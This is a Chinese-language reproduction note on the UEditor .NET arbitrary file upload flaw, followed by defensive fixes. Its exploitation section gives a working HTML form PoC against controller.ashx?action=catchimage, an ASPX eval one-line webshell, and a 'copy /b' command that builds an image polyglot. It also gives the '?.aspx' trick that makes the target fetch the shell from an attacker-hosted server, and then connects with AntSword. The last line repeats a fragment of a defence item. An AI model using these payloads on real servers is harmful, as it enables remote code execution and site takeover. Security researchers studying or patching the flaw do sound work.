文章为自己复现做的相关笔记,参考了很多前人的资料,只是做个笔记。
一、漏洞简介
漏洞描述
Ueditor是百度开发的一个网站编辑器,目前已经不对其进行后续开发和更新,该漏洞只存在于该编辑器的.net版本。其他的php,jsp,asp版本不受此UEditor的漏洞的影响,.net存在任意文件上传,绕过文件格式的限制,在获取远程资源的时候并没有对远程文件的格式进行严格的过滤与判断。
影响范围
该漏洞影响UEditor的.Net版本,其它语言版本暂时未受影响。
漏洞原理
漏洞的成因是在获取图片资源时仅检查了ContentType,导致可以绕过达到任意文件上传。
判断漏洞是否存在
访问net/controller.ashx 控制器文件。当出现下图的时候表示编辑器成功运行,且漏洞存在
二、漏洞利用
上传图片马到目标站点或者其他可以上传图片马的地址: http://目标站点/upload/1.gif, 远程shell地址需要指定扩展名为 http://目标站点/upload/1.gif?.aspx
本地构造一个html,页面用于上传使用
因为不是上传漏洞所以enctype 不需要指定为multipart/form-data。
完整的poc如下
<form action="http://xxxxxxxxx/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded" method="POST">
<p>shell addr: <input type="text" name="source[]" /></p >
<input type="submit" value="Submit" />
</form>
其中http://xx.com为需要测试的网站地址,action后填写路径为实际中遇到的路径,不要太死板,如果太死板不按网站的实际路径来就会出现路径找不到的错误。
准备一台服务区存放图片马或者需要上传的文件
python开启http服务
只要绕过【image】检测就可以正常上传到目标服务器了,从而进一步getshell
制作图片马
Aspx一句话
<% @Page Language=“Jscript”%><%eval(Request.Item[“pass”],“unsafe”);%>
图片马
copy 1.JPG/b + 1.aspx/a ueditor.jpg
复制当前目录下的1.jpg图片和当前目录下的1.aspx文件并以ASCII代码的方式合并为 ueditor.jpg图片
上传木马
shell addr 处填写服务器上图片马地址,构造成以下格式,绕过上传使其解析为 aspx
http://xxxx/ueditor.jpg?.aspx
复制图片马网站链接到构造的html中,如下图:
点击submit,直接上传成功,并返回我们的aspx脚本木马路径地址``
使用蚁剑连接
三、漏洞总结及防御方案
总结:
攻击者可以上传任意文件包括脚本执行文件,包括aspx脚本木马,asp脚本木马,还可以利用该UEditor漏洞对服务器进行攻击,执行系统命名破坏服务器
防御方案:
- 目前临时的漏洞修复是建议,把文件上传目录设置无脚本执行权限,uploadvideo、uploadimage、catchimage、uploadscrawl、uploadfile、等等目录都设置上无脚本权限。
- 在百度UEditor官方没有出补丁前,设置图片目录为只读,禁止写入。
- 检查文件上传路径下是否有近期上传的畸形图片;检查是否存在asp,aspx等类型危险文件。如果发现异常文件,请判断后及时删除。
- 修改程序的源代码,对crawlerhandler源文件进行文件上传格式的严格过滤与判断。
image、uploadscrawl、uploadfile、等等目录都设置上无脚本权限。